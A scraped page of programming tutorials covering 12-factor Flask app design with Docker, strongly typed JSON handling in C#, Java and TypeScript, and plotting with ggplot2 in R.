How-To Tutorials

article-image-how-to-build-12-factor-design-microservices-on-docker-part-1

26 Jun 2015

9 min read

How to Build 12 Factor Microservices on Docker - Part 1

26 Jun 2015

As companies continue to reap benefits of the cloud beyond cost savings, DevOps teams are gradually transforming their infrastructure into a self-serve platform. Critical to this effort is designing applications to be cloud-native and antifragile. In this post series, we will examine the 12 factor methodology for application design, how this design approach interfaces with some of the more popular Platform-as-a-Service (PaaS) providers, and demonstrate how to run such microservices on the Deis PaaS. What began as Service Oriented Architectures in the data center are realizing their full potential as microservices in the cloud, led by innovators such as Netflix and Heroku. Netflix was arguably the first to design their applications to not only be resilient but to be antifragile; that is, by intentionally introducing chaos into their systems, their applications become more stable, scalable, and graceful in the presence of errors. Similarly, by helping thousands of clients building cloud applications, Heroku recognized a set of common patterns emerging and set forth the 12 factor methodology. ANTIFRAGILITY You may have never heard of antifragility. This concept was introduced by Nassim Taleb, the author of Fooled by Randomness and The Black Swan. Essentially, antifragility is what gains from volatility and uncertainty (up to a point). Think of the MySQL server that everyone is afraid to touch lest it crash vs the Cassandra ring which can handle the loss of multiple servers without a problem. In terms more familiar to the tech crowd, a “pet” is fragile while “cattle” are antifragile (or at least robust, that is, they neither gain nor lose from volatility). Adrian Cockroft seems to have discovered this concept with his team at Netflix. During their transition from a data center to Amazon Web Services, they claimed that “the best way to avoid failure is to fail constantly.” (http://techblog.netflix.com/2010/12/5-lessons-weve-learned-using-aws.html) To facilitate this process, one of the first tools Netflix built was Chaos Monkey, the now-infamous tool which kills your Amazon instances to see if and how well your application responds. By constantly injecting failure, their engineers were forced to design their applications to be more fault tolerant, to degrade gracefully, and to be better distributed so as to avoid any Single Points Of Failure (SPOF). As a result, Netflix has a whole suite of tools which form the Netflix PaaS. Many of these have been released as part of the Netflix OSS ecosystem. 12 FACTOR APPS Because many companies want to avoid relying too heavily on tools from any single third-party, it may be more beneficial to look at the concepts underlying such a cloud-native design. This will also help you evaluate and compare multiple options for solving the core issues at hand. Heroku, being a platform on which thousands or millions of applications are deployed, have had to isolate the core design patterns for applications which operate in the cloud and provide an environment which makes such applications easy to build and maintain. These are described as a manifesto entitled the 12-Factor App. The first part of this post walks through the first five factors and reworks a simple python webapp with them in mind. Part 2 continues with the remaining seven factors, demonstrating how this design allows easier integration with cloud-native containerization technologies like Docker and Deis. Let’s say we’re starting with a minimal python application which simply provides a way to view some content from a relational database. We’ll start with a single-file application, app.py. from flask import Flask import mysql.connector as db import json app = Flask(__name__) def execute(query): con = None try: con = db.connect(host='localhost', user='testdb', password='t123', database='testdb') cur = con.cursor() cur.execute(query) return cur.fetchall() except db.Error, e: print "Error %d: %s" % (e.args[0], e.args[1]) return None finally: if con: con.close() def list_users(): users = execute("SELECT id, username, email FROM users") or [] return [{"id": user_id, "username": username, "email": email} for (user_id, username, email) in users] @app.route("/users") def users_index(): return json.dumps(list_users()) if __name__ == "__main__": app.run(host='0.0.0.0', port=5000, debug=True) We can assume you have a simple mysql database setup already. CREATE DATABASE testdb; CREATE TABLE users ( id INT NOT NULL AUTO_INCREMENT, username VARCHAR(80) NOT NULL, email VARCHAR(120) NOT NULL, PRIMARY KEY (id), UNIQUE INDEX (username), UNIQUE INDEX (email) ); INSERT INTO users VALUES (1, "admin", "admin@example.com"); INSERT INTO users VALUES (2, "guest", "guest@example.com"); As you can see, the application is currently implemented as about the most naive approach possible and contained within this single file. We’ll now walk step-by-step through the 12 Factors and apply them to this simple application. THE 12 FACTORS: STEP BY STEP Codebase. A 12-factor app is always tracked in a version control system, such as Git, Mercurial, or Subversion. If there are multiple codebases, its a distributed system in which each component may be a 12-factor app. There are many deploys, or running instances, of each application, including production, staging, and developers' local environments. Since many people are familiar with git today, let’s choose that as our version control system. We can initialize a git repo for our new project. First ensure we’re in the app directory which, at this point, only contains the single app.py file. cd 12factor git init . After adding the single app.py file, we can commit to the repo. git add app.py git commit -m "Initial commit" Dependencies. All dependencies must be explicitly declared and isolated. A 12-factor app never depends on packages to be installed system-wide and uses a dependency isolation tool during execution to stop any system-wide packages from “leaking in.” Good examples are Gem Bundler for Ruby (Gemfile provides declaration and `bundle exec` provides isolation) and Pip/requirements.txt and Virtualenv for Python (where pip/requirements.txt provides declaration and `virtualenv --no-site-packages` provides isolation). We can create and use (source) a virtualenv environment which explicitly isolates the local app’s environment from the global “site-packages” installations. virtualenv env --no-site-packages source env/bin/activate A quick glance at the code we’ll show that we’re only using two dependencies currently, flask and mysql-connector-python, so we’ll add them to the requirements file. echo flask==0.10.1 >> requirements.txt echo mysql-python==1.2.5 >> requirements.txt Let’s use the requirements file to install all the dependencies into our isolated virtualenv. pip install -r requirements.txt Config. An app’s config must be stored in environment variables. This config is what may vary between deploys in developer environments, staging, and production. The most common example is the database credentials or resource handle. We currently have the host, user, password, and database name hardcoded. Hopefully you’ve at least already extracted this to a configuration file; either way, we’ll be moving them to environment variables instead. import os DATABASE_CREDENTIALS = { 'host': os.environ['DATABASE_HOST'], 'user': os.environ['DATABASE_USER'], 'password': os.environ['DATABASE_PASSWORD'], 'database': os.environ['DATABASE_NAME'] } Don’t forget to update the actual connection to use the new credentials object: con = db.connect(**DATABASE_CREDENTIALS) Backing Services. A 12-factor app must make no distinction between a service running locally or as a third-party. For example, a deploy should be able to swap out a local MySQL database with a third-party replacement such as Amazon RDS without any code changes, just by updating a URL or other handle/credentials inside the config. Using a database abstraction layer such as SQLAlchemy (or your own adapter) lets you treat many backing services similarly so that you can switch between them with a single configuration parameter. In this case, it has the added advantage of serving as an Object Relational Mapper to better encapsulate our database access logic. We can replace the hand-rolled execute function and SELECT query with a model object from flask.ext.sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = os.environ['DATABASE_URL'] db = SQLAlchemy(app) class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True) email = db.Column(db.String(120), unique=True) def __init__(self, username, email): self.username = username self.email = email def __repr__(self): return '<User %r>' % self.username @app.route("/users") def users_index(): to_json = lambda user: {"id": user.id, "name": user.username, "email": user.email} return json.dumps([to_json(user) for user in User.query.all()]) Now we set the DATABASE_URL environment property to something like export DATABASE_URL=mysql://testdb:t123@localhost/testdb But its should be easy to switch to Postgres or Amazon RDS (still backed by MySQL). DATABASE_URL=postgresql://testdb:t123@localhost/testdb We’ll continue this demo using a MySQL cluster provided by Amazon RDS. DATABASE_URL=mysql://sa:mypwd@mydbinstance.abcdefghijkl.us-west-2.rds.amazonaws.com/mydb As you can see, this makes attaching and detaching from different backing services trivial from a code perspective, allowing you to focus on more challenging issues. This is important during the early stages of code because it allows you to performance test multiple databases and third-party providers against one another, and in general keeps with the notion of avoiding vendor lock-in. In Part 2, we'll continue reworking this application so that it fully conforms to the 12 Factors. The remaining eight factors concern the overall application design and how it interacts with the execution environment in which its operated. We’ll assume that we’re operating the app in a multi-container Docker environment. This container-up approach provides the most flexibility and control over your execution environment. We’ll then conclude the article by deploying our application to Deis, a vertically integrated Docker-based PaaS, to demonstrate the tradeoff of configuration vs convention in selecting your own PaaS. About the Author Cody A. Ray is an inquisitive, tech-savvy, entrepreneurially-spirited dude. Currently, he is a software engineer at Signal, an amazing startup in downtown Chicago, where he gets to work with a dream team that’s changing the service model underlying the Internet.

0
0
34595

article-image-querying-and-filtering-data

Packt

25 Jun 2015

28 min read

Querying and Filtering Data

Packt

25 Jun 2015

28 min read

0
0
10430

Packt

25 Jun 2015

16 min read

JSON with JSON.Net

Packt

25 Jun 2015

16 min read

In this article by Ray Rischpater, author of the book JavaScript JSON Cookbook, we show you how you can use strong typing in your applications with JSON using C#, Java, and TypeScript. You'll find the following recipes: How to deserialize an object using Json.NET How to handle date and time objects using Json.NET How to deserialize an object using gson for Java How to use TypeScript with Node.js How to annotate simple types using TypeScript How to declare interfaces using TypeScript How to declare classes with interfaces using TypeScript Using json2ts to generate TypeScript interfaces from your JSON (For more resources related to this topic, see here.) While some say that strong types are for weak minds, the truth is that strong typing in programming languages can help you avoid whole classes of errors in which you mistakenly assume that an object of one type is really of a different type. Languages such as C# and Java provide strong types for exactly this reason. Fortunately, the JSON serializers for C# and Java support strong typing, which is especially handy once you've figured out your object representation and simply want to map JSON to instances of classes you've already defined. We use Json.NET for C# and gson for Java to convert from JSON to instances of classes you define in your application. Finally, we take a look at TypeScript, an extension of JavaScript that provides compile-time checking of types, compiling to plain JavaScript for use with Node.js and browsers. We'll look at how to install the TypeScript compiler for Node.js, how to use TypeScript to annotate types and interfaces, and how to use a web page by Timmy Kokke to automatically generate TypeScript interfaces from JSON objects. How to deserialize an object using Json.NET In this recipe, we show you how to use Newtonsoft's Json.NET to deserialize JSON to an object that's an instance of a class. We'll use Json.NET because although this works with the existing .NET JSON serializer, there are other things that I want you to know about Json.NET, which we'll discuss in the next two recipes. Getting ready To begin, you need to be sure you have a reference to Json.NET in your project. The easiest way to do this is to use NuGet; launch NuGet, search for Json.NET, and click on Install, as shown in the following screenshot: You'll also need a reference to the Newonsoft.Json namespace in any file that needs those classes with a using directive at the top of your file: usingNewtonsoft.Json; How to do it… Here's an example that provides the implementation of a simple class, converts a JSON string to an instance of that class, and then converts the instance back into JSON: using System; usingNewtonsoft.Json; namespaceJSONExample { public class Record { public string call; public double lat; public double lng; } class Program { static void Main(string[] args) { String json = @"{ 'call': 'kf6gpe-9', 'lat': 21.9749, 'lng': 159.3686 }"; var result = JsonConvert.DeserializeObject<Record>( json, newJsonSerializerSettings { MissingMemberHandling = MissingMemberHandling.Error }); Console.Write(JsonConvert.SerializeObject(result)); return; } } } How it works… In order to deserialize the JSON in a type-safe manner, we need to have a class that has the same fields as our JSON. The Record class, defined in the first few lines does this, defining fields for call, lat, and lng. The Newtonsoft.Json namespace provides the JsonConvert class with static methods SerializeObject and DeserializeObject. DeserializeObject is a generic method, taking the type of the object that should be returned as a type argument, and as arguments the JSON to parse, and an optional argument indicating options for the JSON parsing. We pass the MissingMemberHandling property as a setting, indicating with the value of the enumeration Error that in the event that a field is missing, the parser should throw an exception. After parsing the class, we convert it again to JSON and write the resulting JSON to the console. There's more… If you skip passing the MissingMember option or pass Ignore (the default), you can have mismatches between field names in your JSON and your class, which probably isn't what you want for type-safe conversion. You can also pass the NullValueHandling field with a value of Include or Ignore. If Include, fields with null values are included; if Ignore, fields with Null values are ignored. See also The full documentation for Json.NET is at http://www.newtonsoft.com/json/help/html/Introduction.htm. Type-safe deserialization is also possible with JSON support using the .NET serializer; the syntax is similar. For an example, see the documentation for the JavaScriptSerializer class at https://msdn.microsoft.com/en-us/library/system.web.script.serialization.javascriptserializer(v=vs.110).aspx. How to handle date and time objects using Json.NET Dates in JSON are problematic for people because JavaScript's dates are in milliseconds from the epoch, which are generally unreadable to people. Different JSON parsers handle this differently; Json.NET has a nice IsoDateTimeConverter that formats the date and time in ISO format, making it human-readable for debugging or parsing on platforms other than JavaScript. You can extend this method to converting any kind of formatted data in JSON attributes, too, by creating new converter objects and using the converter object to convert from one value type to another. How to do it… Simply include a new IsoDateTimeConverter object when you call JsonConvert.Serialize, like this: string json = JsonConvert.SerializeObject(p, newIsoDateTimeConverter()); How it works… This causes the serializer to invoke the IsoDateTimeConverter instance with any instance of date and time objects, returning ISO strings like this in your JSON: 2015-07-29T08:00:00 There's more… Note that this can be parsed by Json.NET, but not JavaScript; in JavaScript, you'll want to use a function like this: Function isoDateReviver(value) { if (typeof value === 'string') { var a = /^(d{4})-(d{2})-(d{2})T(d{2}):(d{2}):(d{2}(?:.d*)?)(?:([+-])(d{2}):(d{2}))?Z?$/ .exec(value); if (a) { var utcMilliseconds = Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], +a[5], +a[6]); return new Date(utcMilliseconds); } } return value; } The rather hairy regular expression on the third line matches dates in the ISO format, extracting each of the fields. If the regular expression finds a match, it extracts each of the date fields, which are then used by the Date class's UTC method to create a new date. Note that the entire regular expression—everything between the/characters—should be on one line with no whitespace. It's a little long for this page, however! See also For more information on how Json.NET handles dates and times, see the documentation and example at http://www.newtonsoft.com/json/help/html/SerializeDateFormatHandling.htm. How to deserialize an object using gson for Java Like Json.NET, gson provides a way to specify the destination class to which you're deserializing a JSON object. Getting ready You'll need to include the gson JAR file in your application, just as you would for any other external API. How to do it… You use the same method as you use for type-unsafe JSON parsing using gson using fromJson, except you pass the class object to gson as the second argument, like this: // Assuming we have a class Record that looks like this: /* class Record { private String call; private float lat; private float lng; // public API would access these fields } */ Gson gson = new com.google.gson.Gson(); String json = "{ "call": "kf6gpe-9", "lat": 21.9749, "lng": 159.3686 }"; Record result = gson.fromJson(json, Record.class); How it works… The fromGson method always takes a Java class. In the example in this recipe, we convert directly to a plain old Java object that our application can use without needing to use the dereferencing and type conversion interface of JsonElement that gson provides. There's more… The gson library can also deal with nested types and arrays as well. You can also hide fields from being serialized or deserialized by declaring them transient, which makes sense because transient fields aren't serialized. See also The documentation for gson and its support for deserializing instances of classes is at https://sites.google.com/site/gson/gson-user-guide#TOC-Object-Examples. How to use TypeScript with Node.js Using TypeScript with Visual Studio is easy; it's just part of the installation of Visual Studio for any version after Visual Studio 2013 Update 2. Getting the TypeScript compiler for Node.js is almost as easy—it's an npm install away. How to do it… On a command line with npm in your path, run the following command: npm install –g typescript The npm option –g tells npm to install the TypeScript compiler globally, so it's available to every Node.js application you write. Once you run it, npm downloads and installs the TypeScript compiler binary for your platform. There's more… Once you run this command to install the compiler, you'll have the TypeScript compiler tsc available on the command line. Compiling a file with tsc is as easy as writing the source code and saving in a file that ends in .ts extension, and running tsc on it. For example, given the following TypeScript saved in the file hello.ts: function greeter(person: string) { return "Hello, " + person; } var user: string = "Ray"; console.log(greeter(user)); Running tschello.ts at the command line creates the following JavaScript: function greeter(person) { return "Hello, " + person; } var user = "Ray"; console.log(greeter(user)); Try it! As we'll see in the next section, the function declaration for greeter contains a single TypeScript annotation; it declares the argument person to be string. Add the following line to the bottom of hello.ts: console.log(greeter(2)); Now, run the tschello.ts command again; you'll get an error like this one: C:UsersrarischpDocumentsnode.jstypescripthello.ts(8,13): error TS2082: Supplied parameters do not match any signature of call target: Could not apply type 'string' to argument 1 which is of type 'number'. C:UsersrarischpDocumentsnode.jstypescripthello.ts(8,13): error TS2087: Could not select overload for 'call' expression. This error indicates that I'm attempting to call greeter with a value of the wrong type, passing a number where greeter expects a string. In the next recipe, we'll look at the kinds of type annotations TypeScript supports for simple types. See also The TypeScript home page, with tutorials and reference documentation, is at http://www.typescriptlang.org/. How to annotate simple types using TypeScript Type annotations with TypeScript are simple decorators appended to the variable or function after a colon. There's support for the same primitive types as in JavaScript, and to declare interfaces and classes, which we will discuss next. How to do it… Here's a simple example of some variable declarations and two function declarations: function greeter(person: string): string { return "Hello, " + person; } function circumference(radius: number) : number { var pi: number = 3.141592654; return 2 * pi * radius; } var user: string = "Ray"; console.log(greeter(user)); console.log("You need " + circumference(2) + " meters of fence for your dog."); This example shows how to annotate functions and variables. How it works… Variables—either standalone or as arguments to a function—are decorated using a colon and then the type. For example, the first function, greeter, takes a single argument, person, which must be a string. The second function, circumference, takes a radius, which must be a number, and declares a single variable in its scope, pi, which must be a number and has the value 3.141592654. You declare functions in the normal way as in JavaScript, and then add the type annotation after the function name, again using a colon and the type. So, greeter returns a string, and circumference returns a number. There's more… TypeScript defines the following fundamental type decorators, which map to their underlying JavaScript types: array: This is a composite type. For example, you can write a list of strings as follows: var list:string[] = [ "one", "two", "three"]; boolean: This type decorator can contain the values true and false. number: This type decorator is like JavaScript itself, can be any floating-point number. string: This type decorator is a character string. enum: An enumeration, written with the enum keyword, like this: enumColor { Red = 1, Green, Blue }; var c : Color = Color.Blue; any: This type indicates that the variable may be of any type. void: This type indicates that the value has no type. You'll use void to indicate a function that returns nothing. See also For a list of the TypeScript types, see the TypeScript handbook at http://www.typescriptlang.org/Handbook. How to declare interfaces using TypeScript An interface defines how something behaves, without defining the implementation. In TypeScript, an interface names a complex type by describing the fields it has. This is known as structural subtyping. How to do it… Declaring an interface is a little like declaring a structure or class; you define the fields in the interface, each with its own type, like this: interface Record { call: string; lat: number; lng: number; } Function printLocation(r: Record) { console.log(r.call + ': ' + r.lat + ', ' + r.lng); } var myObj = {call: 'kf6gpe-7', lat: 21.9749, lng: 159.3686}; printLocation(myObj); How it works… The interface keyword in TypeScript defines an interface; as I already noted, an interface consists of the fields it declares with their types. In this listing, I defined a plain JavaScript object, myObj and then called the function printLocation, that I previously defined, which takes a Record. When calling printLocation with myObj, the TypeScript compiler checks the fields and types each field and only permits a call to printLocation if the object matches the interface. There's more… Beware! TypeScript can only provide compile-type checking. What do you think the following code does? interface Record { call: string; lat: number; lng: number; } Function printLocation(r: Record) { console.log(r.call + ': ' + r.lat + ', ' + r.lng); } var myObj = {call: 'kf6gpe-7', lat: 21.9749, lng: 159.3686}; printLocation(myObj); var json = '{"call":"kf6gpe-7","lat":21.9749}'; var myOtherObj = JSON.parse(json); printLocation(myOtherObj); First, this compiles with tsc just fine. When you run it with node, you'll see the following: kf6gpe-7: 21.9749, 159.3686 kf6gpe-7: 21.9749, undefined What happened? The TypeScript compiler does not add run-time type checking to your code, so you can't impose an interface on a run-time created object that's not a literal. In this example, because the lng field is missing from the JSON, the function can't print it, and prints the value undefined instead. This doesn't mean that you shouldn't use TypeScript with JSON, however. Type annotations serve a purpose for all readers of the code, be they compilers or people. You can use type annotations to indicate your intent as a developer, and readers of the code can better understand the design and limitation of the code you write. See also For more information about interfaces, see the TypeScript documentation at http://www.typescriptlang.org/Handbook#interfaces. How to declare classes with interfaces using TypeScript Interfaces let you specify behavior without specifying implementation; classes let you encapsulate implementation details behind an interface. TypeScript classes can encapsulate fields or methods, just as classes in other languages. How to do it… Here's an example of our Record structure, this time as a class with an interface: class RecordInterface { call: string; lat: number; lng: number; constructor(c: string, la: number, lo: number) {} printLocation() {} } class Record implements RecordInterface { call: string; lat: number; lng: number; constructor(c: string, la: number, lo: number) { this.call = c; this.lat = la; this.lng = lo; } printLocation() { console.log(this.call + ': ' + this.lat + ', ' + this.lng); } } var myObj : Record = new Record('kf6gpe-7', 21.9749, 159.3686); myObj.printLocation(); How it works… The interface keyword, again, defines an interface just as the previous section shows. The class keyword, which you haven't seen before, implements a class; the optional implements keyword indicates that this class implements the interface RecordInterface. Note that the class implementing the interface must have all of the same fields and methods that the interface prescribes; otherwise, it doesn't meet the requirements of the interface. As a result, our Record class includes fields for call, lat, and lng, with the same types as in the interface, as well as the methods constructor and printLocation. The constructor method is a special method called when you create a new instance of the class using new. Note that with classes, unlike regular objects, the correct way to create them is by using a constructor, rather than just building them up as a collection of fields and values. We do that on the second to the last line of the listing, passing the constructor arguments as function arguments to the class constructor. See also There's a lot more you can do with classes, including defining inheritance and creating public and private fields and methods. For more information about classes in TypeScript, see the documentation at http://www.typescriptlang.org/Handbook#classes. Using json2ts to generate TypeScript interfaces from your JSON This last recipe is more of a tip than a recipe; if you've got some JSON you developed using another programming language or by hand, you can easily create a TypeScript interface for objects to contain the JSON by using Timmy Kokke's json2ts website. How to do it… Simply go to http://json2ts.com and paste your JSON in the box that appears, and click on the generate TypeScript button. You'll be rewarded with a second text-box that appears and shows you the definition of the TypeScript interface, which you can save as its own file and include in your TypeScript applications. How it works… The following figure shows a simple example: You can save this typescript as its own file, a definition file, with the suffix .d.ts, and then include the module with your TypeScript using the import keyword, like this: import module = require('module'); Summary In this article we looked at how you can adapt the type-free nature of JSON with the type safety provided by languages such as C#, Java, and TypeScript to reduce programming errors in your application. Resources for Article: Further resources on this subject: Playing with Swift [article] Getting Started with JSON [article] Top two features of GSON [article]

0
0
4590

article-image-introduction-ggplot2-and-plotting-environments-r

Packt

25 Jun 2015

15 min read

Introduction to ggplot2 and the plotting environments in R

Packt

25 Jun 2015

15 min read

In this article by Donato Teutonico, author of the book ggplot2 Essentials, we are going to explore different plotting environments in R and subsequently learn about the package, ggplot2. R provides a complete series of options available for realizing graphics, which make this software quite advanced concerning data visualization. The core of the graphics visualization in R is within the package grDevices, which provides the basic structure of data plotting, as for instance the colors and fonts used in the plots. Such graphic engine was then used as starting point in the development of more advanced and sophisticated packages for data visualization; the most commonly used being graphics and grid. (For more resources related to this topic, see here.) The graphics package is often referred to as the base or traditional graphics environment, since historically it was already available among the default packages delivered with the base installation of R and it provides functions that allow to the generation of complete plots. The grid package developed by Paul Murrell, on the other side, provides an alternative set of graphics tools. This package does not provide directly functions that generate complete plots, so it is not frequently used directly for generating graphics, but it was used in the development of advanced data visualization packages. Among the grid-based packages, the most widely used are lattice and ggplot2, although they are built implementing different visualization approaches. In fact lattice was build implementing the Trellis plots, while ggplot2 was build implementing the grammar of graphics. A diagram representing the connections between the tools just mentioned is represented in the Figure 1. Figure 1: Overview of the most widely used R packages for graphics Just keep in mind that this is not a complete overview of the packages available, but simply a small snapshot on the main packages used for data visualization in R, since many other packages are built on top of the tools just mentioned. If you would like to get a more complete overview of the graphics tools available in R, you may have a look at the web page of the R project summarizing such tools, http://cran.r-project.org/web/views/Graphics.html. ggplot2 and the Grammar of Graphics The package ggplot2 was developed by Hadley Wickham by implementing a completely different approach to statistical plots. As in the case of lattice, this package is also based on grid, providing a series of high-level functions which allow the creation of complete plots. The ggplot2 package provides an interpretation and extension of the principles of the book The Grammar of Graphics by Leland Wilkinson. Briefly, the Grammar of Graphics assumes that a statistical graphic is a mapping of data to aesthetic attributes and geometric objects used to represent the data, like points, lines, bars, and so on. Together with the aesthetic attributes, the plot can also contain statistical transformation or grouping of the data. As in lattice, also in ggplot2 we have the possibility to split data by a certain variable obtaining a representation of each subset of data in an independent sub-plot; such representation in ggplot2 is called faceting. In a more formal way, the main components of the grammar of graphics are: the data and their mapping, the aesthetic, the geometric objects, the statistical transformations, scales, coordinates and faceting. A more detailed description of these elements is provided along the book ggplot2 Essentials, but this is a summary of the general principles The data that must be visualized are mapped to aesthetic attributes which define how the data should be perceived The geometric objects describe what is actually represented on the plot like lines, points, or bars; the geometric objects basically define which kind of plot you are going to draw The statistical transformations are transformations which are applied to the data to group them; an example of statistical transformations would be, for instance, the smooth line or the regression lines of the previous examples or the binning of the histograms. Scales represent the connection between the aesthetic spaces with the actual values which should be represented. Scales maybe also be used to draw legends The coordinates represent the coordinate system in which the data are drawn The faceting, which we have already mentioned, is a grouping of data in subsets defined by a value of one variable In ggplot2 there are two main high-level functions, capable of creating directly creating a plot, qplot() and ggplot(); qplot() stands for quick plot and it is a simple function with serve a similar purpose to the plot() function in graphics. The function ggplot() on the other side is a much more advanced function which allow the user to have a deep control of the plot layout and details. In this article we will see some examples of qplot() in order to provide you with a taste of the typical plots which can be realized with ggplot2, but for more advanced data visualization the function ggplot(), is much more flexible. If you have a look on the different forums of R programming, there is quite some discussion about which of these two functions would be more convenient to use. My general recommendation would be that it depends on the type of graph you are drawing more frequently. For simple and standard plot, where basically only the data should be represented and some minor modification of standard layout, the qplot() function will do the job. On the other side, if you would need to apply particular transformations to the data or simply if you would like to keep the freedom of controlling and defining the different details of the plot layout, I would recommend to focus in learning the code of ggplot(). In the code below you will see an example of plot realized with ggplot2 where you can identify some of the components of the grammar of graphics. The example is realized with the function ggplot() which allow a more direct comparison with the grammar, but just below you may also find the corresponding code for the use of qplot(). Both codes generate the graph depicted on Figure 2. require(ggplot2) ## Load ggplot2 data(Orange) # Load the data ggplot(data=Orange, ## Data used aes(x=circumference,y=age, color=Tree))+ ##mapping to aesthetic geom_point()+ ##Add geometry (plot with data points) stat_smooth(method="lm",se=FALSE) ##Add statistics(linear regression) ### Corresponding code with qplot() qplot(circumference,age,data=Orange, ## Data used color=Tree, ## Aestetic mapping geom=c("point","smooth"),method="lm",se=FALSE) This simple example can give you an idea of the role of each portion of code in a ggplot2 graph; you have seen how the main function body create the connection between the data and the aesthetic we are interested to represent and how, on top of this, you add the components of the plot like in this case the geometry element of points and the statistical element of regression. You can also notice how the components which need to be added to the main function call are included using the + sign. One more thing worth to mention at this point, is the if you run just the main body function in the ggplot() function, you will get an error message. This is because this call is not able to generate an actual plot. The step during which the plot is actually created is when you include the geometric attributes, in this case geom_point(). This is perfectly in line with the grammar of graphics, since as we have seen the geometry represent the actual connection between the data and what is represented on the plot. Is in fact at this stage that we specify we are interested in having points representing the data, before that nothing was specified yet about which plot we were interested in drawing. Figure 2: Example of plot of Orange dataset with ggplot2 The qplot() function The qplot (quick plot) function is a basic high level function of ggplot2. The general syntax that you should use with this function is the following qplot(x, y, data, colour, shape, size, facets, geom, stat) where x and y represent the variables to plot (y is optional with a default value NULL) data define the dataset containing the variables colour, shape and size are the aesthetic arguments that can be mapped on additional variables facets define the optional faceting of the plot based on one variable contained in the dataset geom allows you to select the actual visualization of the data, which basically will represent the plot which will be generated. Possible values are point, line or boxplot, but we will see several different examples in the next pages stat define the statistics to be used on the data These options represents the most important options available in qplot(). You may find a descriptions of the other function arguments in the help page of the function accessible with ?qplot, or on the ggplot2 website under the following link http://docs.ggplot2.org/0.9.3/qplot.html. Most of the options just discussed can be applied to different types of plots, since most of the concepts of the grammar of graphics, embedded in the code, may be translated from one plot to the other. For instance, you may use the argument colour to do an aesthetics mapping to one variable; these same concepts can in example be applied to scatterplots as well as histograms. Exactly the same principle would be applied to facets, which can be used for splitting plots independently on the type of plot considered. Histograms and density plots Histograms are plots used to explore how one (or more) quantitative variables are distributed. To show some examples of histograms we will use the iris data. This dataset contains measurements in centimetres of the variables sepal length and width and petal length and width for 50 flowers from each of three species of the flower iris: iris setosa, versicolor, and virginica. You may find more details running ?iris. The geometric attribute used to produce histograms is simply by specifying geom=”histogram” in the qplot() function. This default histogram will represent the variable specified on the x axis while the y axis will represent the number of elements in each bin. One other very useful way of representing distributions is to look at the kernel density function, which will basically produce a sort of continuous histogram instead of different bins by estimating the probability density function. For example let’s plot the petal length of all the three species of iris as histogram and density plot. data(iris) ## Load data qplot(Petal.Length, data=iris, geom="histogram") ## Histogram qplot(Petal.Length, data=iris, geom="density") ## Density plot The output of this code is showed in Figure 3. Figure 3: Histogram (left) and density plot (right) As you can see in both plots of Figure 3, it appears that the data are not distributed homogenously, but there are at least two distinct distribution clearly separated. This is very reasonably due to a different distribution for one of the iris species. To try to verify if the two distributions are indeed related to specie differences, we could generate the same plot using aesthetic attributes and have a different colour for each subtype of iris. To do this, we can simply map the fill to the Species column in the dataset; also in this case we can do that for the histogram and the density plot too. Below you may see the code we built, and in Figure 4 the resulting output. qplot(Petal.Length, data=iris, geom="histogram", colour=Species, fill=Species) qplot(Petal.Length, data=iris, geom="density", colour=Species, fill=Species) Figure 4: Histogram (left) and density plot (right) with aesthetic attribute for colour and fill In the distribution we can see that the lower data are coming from the Setosa species, while the two other distributions are partly overlapping. Scatterplots Scatterplots are probably the most common plot, since they are usually used to display the relationship between two quantitative variables. When two variables are provided, ggplot2 will make a scatterplot by default. For our example on how to build a scatterplot, we will use a dataset called ToothGrowth, which is available in the base R installation. In this dataset are reported measurements of teeth length of 10 guinea pig for three different doses of vitamin C (0.5, 1, and 2 mg) delivered in two different ways, as orange juice or as ascorbic acid (a compound having vitamin C activity). You can find, as usual, details on these data on the dataset help page at ?ToothGrowth. We are interested in seeing how the length of the teeth changed for the different doses. We are not able to distinguish among the different guinea pigs, since this information is not contained in the data, so for the moment we will plot just all the data we have. So let’s load the dataset and do a basic plot of the dose vs. length. require(ggplot2) data(ToothGrowth) qplot(dose, len, data=ToothGrowth, geom="point") ##Alternative coding qplot(dose, len, data=ToothGrowth) The resulting plot is reproduced in Figure 5. As you have seen, the default plot generated, also without a geom argument, is the scatter plot, which is the default bivariate plot type. In this plot we may have an idea of the tendency the data have, for instance we see that the teeth length increase by increasing the amount of vitamin C intake. On the other side, we know that there are two different subgroups in our data, since the vitamin C was provided in two different ways, as orange juice or as ascorbic acid, so it could be interesting to check if these two groups behave differently. Figure 5: Scatterplot of length vs. dose of ToothGrowth data The first approach could be to have the data in two different colours. To do that we simply need to assign the colour attribute to the column sup in the data, which defines the way of vitamin intake. The resulting plot is in Figure 6. qplot(dose, len,data=ToothGrowth, geom="point", col=supp) We now can distinguish from which intake route come each data in the plot and it looks like the data from orange juice shown are a little higher compared to ascorbic acid, but to differentiate between them it is not really easy. We could then try with the facets, so that the data will be completely separated in two different sub-plots. So let´s see what happens. Figure 6: Scatterplot of length vs. dose of ToothGrowth with data in different colours depending on vitamin intake. qplot(dose, len,data=ToothGrowth, geom="point", facets=.~supp) In this new plot, showed in Figure 7, we definitely have a better picture of the data, since we can see how the tooth growth differs for the different intakes. As you have seen, in this simple example, you will find that the best visualization may be different depending on the data you have. In some cases grouping a variable with colours or dividing the data with faceting may give you a different idea about the data and their tendency. For instance in our case with the plot in Figure 7 we can see that the way how the tooth growth increase with dose seems to be different for the different intake routes. Figure 7: Scatterplot of length vs. dose of ToothGrowth with faceting One approach to see the general tendency of the data could be to include a smooth line to the graph. In this case in fact we can see that the growth in the case of the orange juice does not looks really linear, so a smooth line could be a nice way to catch this. In order to do that we simply add a smooth curve to the vector of geometry components in the qplot() function. qplot(dose, len,data=ToothGrowth, geom=c("point","smooth"), facets=.~supp) As you can see from the plot obtained (Figure 8) we now see not only clearly the different data thanks to the faceting, but we can also see the tendency of the data with respect to the dose administered. As you have seen, requiring for the smooth line in ggplot2 will also include a confidence interval in the plot. If you would like to not to have the confidence interval you may simply add the argument se=FALSE. Figure 8: Scatterplot of length vs. dose of ToothGrowth with faceting and smooth line Summary In this short article we have seen some basic concept of ggplot2, ranging from the basic principles in comparison with the other R packages for graphics, up to some basic plots as for instance histograms, density plots or scatterplots. In this case we have limited our example to the use of qplot(), which enable us to obtain plots with some easy commands, but on the other side, in order to have a full control of plot appearance as well as data representation the function ggplot() will provide you with much more advanced functionalities. You can find a more detailed description of these functions as well as of the different features of ggplot2 together 